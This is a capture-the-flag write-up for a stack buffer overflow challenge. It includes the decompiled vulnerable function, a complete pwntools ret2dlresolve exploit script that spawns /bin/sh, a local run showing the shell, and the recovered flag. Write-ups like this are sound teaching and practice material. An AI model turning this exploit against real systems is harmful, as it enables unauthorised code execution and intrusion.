For this challenge, we also were given a service executable. It was hosted remotely.

NOTE: since I’m writting this after the CTF ended, the demos are done locally.

$ checksec ./service
[*] '/home/vivescere/ctf/bof_3/service'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

$ ./service
password: 
mypassword
nop

NX enabled, and partial RELRO. Let’s take a look at the binary using Ghidra:

undefined4 main(void) {
  ignorMe(&stack0x00000004);
  puts("password: ");
  vuln();
  puts("nop");
  return 0;
}

void vuln(void) {
  undefined local_70 [104];
  
  read(0,local_70,0x96);
  return;
}

We have an overflow, but not much else going on. We won’t be able to leak an address from the libc using a format string exploit, like on the last challenge.

We can try the ret2dlresolve technique. Pwntools even has a nice module for it.

I found the offset using cyclic from pwntools.

#!/usr/bin/env python3
from pwn import *

exe = ELF("./service")

context.binary = exe
context.terminal = ['konsole', '-e']

def conn():
    if args.LOCAL:
        r = process([exe.path])
    else:
        r = remote('XXX.XXX.XXX.XXX', 00000)

    return r

def main():
    r = conn()
    r.recvuntil(':')
    r.recvline()
    
    offset = 112

    rop = ROP(exe)
    dlresolve = Ret2dlresolvePayload(exe, symbol="system", args=["/bin/sh"])
    rop.read(0, dlresolve.data_addr)
    rop.ret2dlresolve(dlresolve)
    raw_rop = rop.chain()

    r.sendline(flat({offset: bytes(rop)}))
    r.sendline(dlresolve.payload)
    r.interactive()

if __name__ == "__main__":
    main()
$ python solve.py LOCAL
[*] '/home/vivescere/ctf/bof_3/service'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)
[+] Starting local process '/home/vivescere/ctf/bof_3/service': pid 846530
[*] Loaded 10 cached gadgets for './service'
[*] Switching to interactive mode
$ pwd
/home/vivescere/ctf/bof_3

The flag is CYBERTF{Zeroleak@nd_bruteF0rc3}. It was in /home/ctf/flag.txt.

You can view the sources on github or read other writeups.